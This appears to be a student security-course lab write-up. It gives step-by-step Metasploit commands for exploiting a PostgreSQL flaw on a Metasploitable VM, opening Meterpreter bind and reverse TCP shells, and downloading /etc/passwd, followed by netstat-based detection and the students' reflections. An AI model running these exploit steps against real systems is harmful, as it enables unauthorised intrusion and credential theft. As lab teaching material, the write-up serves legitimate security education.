Eric Gassel and Josiah Misplon

Part 2:

a.

Meterpreter Payload exploit:

a. *use exploit/linux/postgres/postgres_payload*
    i. I picked the postgresql vulnerability
b. *show options*
    i. I noticed RHOST was not set, therefore…
c. *set RHOST 10.0.2.4*
    i. 10.0.2.4 is the IP address of the Metasploit machine which we are targeting
d. *show options*
    i. confirm necessary data is present and accurate
e. *show payloads*
f. *set PAYLOAD linux/x86/meterpreter/bind_ipv6_tcp*
g. *exploit*

For Shell Exploit:

a. *use exploit/linux/postgres/postgres_payload*
b. *show options*
c. *set RHOST 10.0.2.4*
    i. (with 10.0.2.4 replaced by whatever corresponds to your Metasploitable machine)
d. *show payloads*
e. *set PAYLOAD linux/x86/shell_reverse_tcp*
f. *show options*
    i. This is a redundant check; just to make sure nothing has changed
    ii. There may be some default values set in the options - they are fine left as is
g. *exploit*

b. Technical/exact answer: “On some default Linux installations of PostgreSQL, the postgres service account may write to the /tmp directory, and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object's constructor, it does not need to conform to specific Postgres API versions.” (Rapid7)

Human answer: postgres allows execution of user-defined functions - which appear to typically be written in C. Because postrgres has read, write, and execute access to a folder in the normal Linux storage hierarchy (namely /tmp). Thus, the exploit uploads a file to through postgres service via an injection attack to create a user-defined function that, when executed, forms the connection back to the Kali machine.

c. Payloads:

- Meterpreter
    - “Meterpreter is a Metasploit attack payload that provides an interactive shell to the attacker from which to explore the target machine and execute code. Meterpreter is deployed using in-memory DLL injection. Meterpreter was designed to circumvent the drawbacks of using specific payloads, while enabling the writing of commands and ensuring encrypted communication. The disadvantage of using specific payloads is that alarms may be triggered when a new process starts in the target system” (The Secret Security Wiki)
    - Meterpreter is a powerful payload that allows you to more easily edit, move, see, and download files
- Shell
    - After launching the exploit, you will have shell access to the metasploitable machine. Basically, you can execute commands as if you were on a terminal on the target machine.

- Major Differences between the two

- There was not some immediately clear way to efficiently exfiltrate data back to our Kali machines with just shell access, whereas Meterpreter had an easy *download* command.
- One additional detail about the particular shell payload: it is a reverse tcp payload. The particular Meterpreter payload we used was a binding tcp payload.
    - What does this mean?
        - Binding tcp - the payload opens up a port on the victims device and connects from the attacking device to its victim
        - Reverse tcp - the payload has the victims device send the connection request to you, the attacker

d. Using the Meterpreter payload:

- since my pwd was /var/lib/postgresql/8.3/main when I began the exploit, I had to cd all the way back to root
- then I did *cd etc* to move into that directory
- I performed ls to confirm the existence of passwd
- In order to download this, as I had mentioned in c, I simply wrote *download passwd* - then the file passwd was locatable in my local Kali directory/file system

Part 3:

The netstat command *netstat -ano* from the Metasploitable terminal can provide an indication that an attack is underway. While the exploit is running, you can see there is an established connection to the IP address 10.0.2.4, and there are no other established connections from 10.0.2.4 to any other device.

This connection is not seen when the exploit is not being performed, but we still see a line referencing a connection between the Metasploitable machine and the Kali machine, but just with the CLOSE_WAIT identifier.

So, unless we had some intention of establishing an active tcp connection with the Kali machine, if we see such a connection in the netstat output, we are likely engaged in some unwanted connection. Thus, we might reasonably suspect suspicious activity.

Part 4:

Eric: Honestly, I think the fact that we are able to even do this assignment is cool -- or rather ridiculous. How/why is it so easy to attack vulnerabilities? We can literally look up vulnerabilities on the internet. I understand a concept like Metasploit that's a testing ground for learning to hack (ethically), but in general this seems too easy. I'm guessing that's why things like firewalls exist (I don't know exactly what a firewall is/how it works, but I just picked that to represent some type of security that would prevent this attack. Maybe Firewall is the correct word). I wonder if someone could hack metasploit and plant a bug in a way where they could hack Josiah and I after doing this assignment -- like an uno reverse card in hacking. By hack Metasploit, I mean actually hack the company/servers on a much more significant level than what we are doing in this assignment -- a NotPetya type level.

Josiah: It's pretty disturbing to me that I (or anybody) was allowed near computers without having a basic understanding of computer security. I definitely was (am) capable of not knowing if things are configured properly - or not updating regularly. It's pretty terrifying just how much stuff is out there - available to pretty much anyone. Looking at Metasploit, it's amazing how little I'd actually need to know at a technical level to play with some moderately dangerous tools. Seeing how much documentation and resources are out there for Metasploit makes the security difficulties of Windows (or anybody) seem more sympathetic.